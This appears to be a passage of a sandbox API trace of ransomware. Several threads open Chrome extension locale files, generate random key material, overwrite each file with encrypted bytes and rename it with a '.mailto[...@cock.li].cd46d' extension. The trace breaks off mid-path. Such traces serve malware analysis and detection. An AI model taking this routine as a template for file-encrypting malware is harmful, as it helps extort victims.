[0186.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a80 [0186.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a58 [0186.701] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c88 [0186.701] NtQuerySystemTime (in: CurrentTime=0xa59fd4c | out: CurrentTime=0xa59fd4c*=132174899613022000) returned 0x0 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x140d3f3b [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x4ffbe87a [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x61efbae6 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x742a6ee8 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x7f36cc57 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0xdea247e [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x27265d7e [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x7acc1e65 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x60e5df24 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x74ec71fa [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x22710ab2 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0xc8e57d7 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x36b6c1e7 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x5ff14225 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x7368900b [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x691994bf [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x702e58ee [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x2bf05b47 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x534d94a3 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x19c1128f [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x5b16936 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x5b037ef4 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x328fd1f8 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x700569af [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x51a38347 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x4fd4cc10 [0186.701] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x282aeac2 [0186.702] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x19c4b201 [0186.702] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x287ebc77 [0186.702] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x6b2fcc6b [0186.702] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x3f4d6ce2 [0186.702] RtlRandomEx (in: Seed=0xa59fd58 | out: Seed=0xa59fd58) returned 0x62a5deed [0186.713] ReadFile (hFile=0xf24, lpBuffer=0x12e36810, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0xa59fd48, lpOverlapped=0x0) [0186.714] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.714] WriteFile (in: hFile=0xf24, lpBuffer=0x12d01008*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0xa59fd44, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesWritten=0xa59fd44*=0xc6, lpOverlapped=0x0) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af438 [0190.459] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2a8 [0190.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2a8) returned 1 [0190.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0190.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e36810) returned 1 [0190.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c5a8) returned 1 [0190.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2db8) returned 1 [0190.459] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8898 [0190.459] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.459] WriteFile (in: hFile=0xf24, lpBuffer=0x12cf53d8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa59fdac, lpOverlapped=0x0 | out: lpBuffer=0x12cf53d8*, lpNumberOfBytesWritten=0xa59fdac*=0x10b, lpOverlapped=0x0) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf53d8) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2a8) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af438) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5a58) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c60) returned 1 [0192.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5aa8) returned 1 [0192.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0x12cf8980 [0192.525] wcscpy (in: _Dest=0x12cf8980, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" [0192.525] wcscat (in: _Dest=0x12cf8980, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0192.525] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa59fd64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0192.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x134e3f10 Thread: id = 7619 os_tid = 0x17b0 [0183.769] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json")) returned 0x2020 [0183.770] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json", dwFileAttributes=0x20) returned 1 [0189.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0189.607] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x979fcf0 | out: lpFileSize=0x979fcf0*=203) returned 1 [0189.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8760 [0189.607] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8670 [0189.607] NtQuerySystemTime (in: CurrentTime=0x979fc50 | out: CurrentTime=0x979fc50*=132174899642038000) returned 0x0 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x65ed8791 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x3706f226 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x4dc34e8a [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x6afd5d11 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x55ba77c [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x535ad2e6 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x54b0017c [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x42b80e57 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x77a4a7ea [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x5208fdd6 [0189.607] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x79d19c3d [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x2803f4ab [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x65666df4 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x194b14e0 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x4e00440e [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x11408e29 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x70e83d3e [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x52cf746f [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x3fb36bd [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x52d7a731 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x498c248b [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x7321bdf1 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x1843f4b9 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x2d5a23a [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x44eb9211 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x158f2fec [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x55b3f00b [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x739594f8 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x2bb84abd [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x761cb4d6 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x37ab0065 [0189.608] RtlRandomEx (in: Seed=0x979fc5c | out: Seed=0x979fc5c) returned 0x2874d110 [0189.621] ReadFile (hFile=0x14b8, lpBuffer=0xd511880, nNumberOfBytesToRead=0xcb, lpNumberOfBytesRead=0x979fc4c, lpOverlapped=0x0) [0189.622] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.622] WriteFile (in: hFile=0x14b8, lpBuffer=0xd51e088*, nNumberOfBytesToWrite=0xcb, lpNumberOfBytesWritten=0x979fc48, lpOverlapped=0x0 | out: lpBuffer=0xd51e088*, lpNumberOfBytesWritten=0x979fc48*=0xcb, lpOverlapped=0x0) returned 1 [0191.681] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938388 [0191.681] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383b0 [0191.681] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383b0) returned 1 [0191.681] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0191.685] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0191.705] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb280) returned 1 [0191.705] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2980) returned 1 [0191.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d20 [0191.705] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.705] WriteFile (in: hFile=0x14b8, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x979fcb0, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0x979fcb0*=0x10b, lpOverlapped=0x0) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d50) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383b0) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d20) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938388) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8760) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d87b0) returned 1 [0191.815] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8788) returned 1 [0191.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c95f0 [0191.815] wcscpy (in: _Dest=0xd4c95f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" [0191.815] wcscat (in: _Dest=0xd4c95f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.815] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x979fc68, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.815] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x933fd0 Thread: id = 7620 os_tid = 0x17b4 [0183.770] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json")) returned 0x2020 [0183.770] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json", dwFileAttributes=0x20) returned 1 [0189.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x12c0 [0189.623] GetFileSizeEx (in: hFile=0x12c0, lpFileSize=0x8c4f7f8 | out: lpFileSize=0x8c4f7f8*=194) returned 1 [0189.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8670 [0189.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d86e8 [0189.623] NtQuerySystemTime (in: CurrentTime=0x8c4f758 | out: CurrentTime=0x8c4f758*=132174899642194000) returned 0x0 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x1990e9c [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x1e264187 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x3f357b81 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x155e44a2 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x14306027 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x6b7a929 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x74f04c25 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x51267cbc [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x1294596e [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x2e73c5fd [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x22e1625b [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x27508946 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x7a86c75f [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x1a5cc7d6 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x4b360eba [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0xfabb158 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x2063f8 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x6cbaeb3d [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x2d49c264 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x3632f6a5 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x3cfb3804 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x4207f7d6 [0189.623] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x6e57302a [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x6f50513 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x6197cb28 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x54256df3 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x2fb8cbb8 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x2658fa3b [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x7a031555 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x77bbd2c0 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x89cb709 [0189.624] RtlRandomEx (in: Seed=0x8c4f764 | out: Seed=0x8c4f764) returned 0x3f605441 [0189.637] ReadFile (hFile=0x12c0, lpBuffer=0x134a4148, nNumberOfBytesToRead=0xc2, lpNumberOfBytesRead=0x8c4f754, lpOverlapped=0x0) [0189.638] SetFilePointerEx (in: hFile=0x12c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.638] WriteFile (in: hFile=0x12c0, lpBuffer=0x134b0950*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x8c4f750, lpOverlapped=0x0 | out: lpBuffer=0x134b0950*, lpNumberOfBytesWritten=0x8c4f750*=0xc2, lpOverlapped=0x0) returned 1 [0191.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9383d8 [0191.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938400 [0191.715] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938400) returned 1 [0191.715] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134b0950) returned 1 [0191.715] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134a4148) returned 1 [0191.715] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb2f8) returned 1 [0191.715] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a10) returned 1 [0191.715] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6c60 [0191.715] SetFilePointerEx (in: hFile=0x12c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.715] WriteFile (in: hFile=0x12c0, lpBuffer=0x12cf6670*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x8c4f7b8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6670*, lpNumberOfBytesWritten=0x8c4f7b8*=0x10b, lpOverlapped=0x0) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6670) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c90) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938400) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6c60) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9383d8) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8670) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8648) returned 1 [0191.817] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8620) returned 1 [0191.817] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9a88 [0191.817] wcscpy (in: _Dest=0xd4c9a88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 